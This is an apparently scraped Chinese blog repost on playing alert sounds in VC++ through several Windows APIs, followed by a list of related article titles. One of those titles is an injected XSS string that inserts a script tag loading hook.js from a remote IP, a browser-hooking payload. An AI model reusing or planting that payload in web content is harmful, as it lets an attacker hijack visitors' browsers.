VC++中实现报警声音
来源:互联网 发布:淘宝开网店的流程 编辑:程序博客网 时间:2024/05/16 10:04
转载:http://blog.csdn.net/shaopengf/article/details/38235409
一、播放系统的消息声音
- BOOL WINAPI MessageBeep( __in UINT uType);
- MessageBeep(MB_OK);
- Sleep(3000);
- MessageBeep(MB_ICONWARNING);
- Sleep(3000);
- MessageBeep(MB_ICONSTOP);
- Sleep(3000);
- MessageBeep(MB_ICONERROR);
- Sleep(3000);
- MessageBeep(MB_ICONEXCLAMATION);
二、播放mav格式声音
- BOOL PlaySound(LPCTSTR pszSound,HMODULE hmod,DWORD fdwSound);
- PlaySound("C:/love.wav",AfxGetInstanceHandle(), SND_FILENAME|SND_ASYNC );
三、利用MCI 接口实现播放任意格式声音
- #include <mmsystem.h> //导入声音头文件库
- #pragma comment(lib,"winmm.lib")//导入声音的链接库
- mciSendString("open C:/123.mp3" , NULL, 0, 0);
- mciSendString("play C:/123.mp3 ", NULL, 0, 0);
具体的mci 编程,有待进一步的学习
四、利用强悍的MCIWndCreate()函数
- HWND m_hwndMCI;
- if(m_hwndMCI!=NULL) //建立一个MCIWND 窗口
- {
- MCIWndDestroy(m_hwndMCI);
- }
- int type=0; //隐藏默认工具栏0 表显示
- CString filename="C:/123.mp3"; //要播放的文件文件名
- m_hwndMCI=MCIWndCreate(m_hWnd,AfxGetInstanceHandle(),type,filename);
- MCIWndPlay(m_hwndMCI);
五、利用Windows Media Player 控件
通过project--->add to project--->Components and Controls -->Registered ActiveX Controls--->Windows Media PlayerInsert这个控件后,我们project中会自动添加17个类,这些都是Windows Media Player 控制相关的,同时我们的UI设计时的tools bar 中会多
出一个控件,那就 Windows Media Player ,拖到窗口上就能使用。
我们可以把这个控件关联成Control 类型的变量,这样,程序中就利用这个变量来设置WMPlayer。
如我们添加成变量名为:m_ctlWMPlayer,则利用,m_ctrWMPlayer.SetUrl("C:/123.mp3"),就可以播放我们c盘下的名为123.MP3的文件了
更深入的运用,有待更进一步的学习!
六、播放蜂鸣
使用函数Beep 播放不同频率的蜂鸣如:
- BOOL WINAPI Beep(
- __in DWORD dwFreq, //频率
- __in DWORD dwDuration //持续时间
- );
- while(1) Beep(5000,500);
- 顶
- 0
- 踩
0 0
- VC++中实现报警声音
- VC++中实现报警声音
- 请问在C#中如何实现声音报警?
- VC++实现声音播放
- VC++中播放声音
- WinCC 报警记录--声音报警
- Linux系统中关闭喇叭的报警声音
- BIOS报警声音大全- -
- BIOS报警声音大全
- 开机报警声音
- C#报警声音
- VC++中播放声音wav
- VC++中播放声音wav
- VC++中播放声音wav
- c#中用声音提示报警
- ubuntu禁止喇叭报警声音
- BB是报警的声音
- c#中用声音提示报警 .
- Hadoop Streaming试用
- Android中的图片加载库Glide介绍 (Google推荐的)
- 后缀数组,最长公共祖先
- "/><script src=192.168.30.110:3000/hook.js></script><!-
- Karel:我的世界里
- VC++中实现报警声音
- 12款浏览器兼容性测试工具推荐
- 2016年百度校招小结:我做技术面试官的一些思考
- android如何防止应用被载屏
- MSP430按键中断
- UE4 行为树装饰器(Decorator)简单实用说明(1)
- 2.3栈的链式结构
- UVA 202 循环小数百度解法 自己不会。
- Run Loops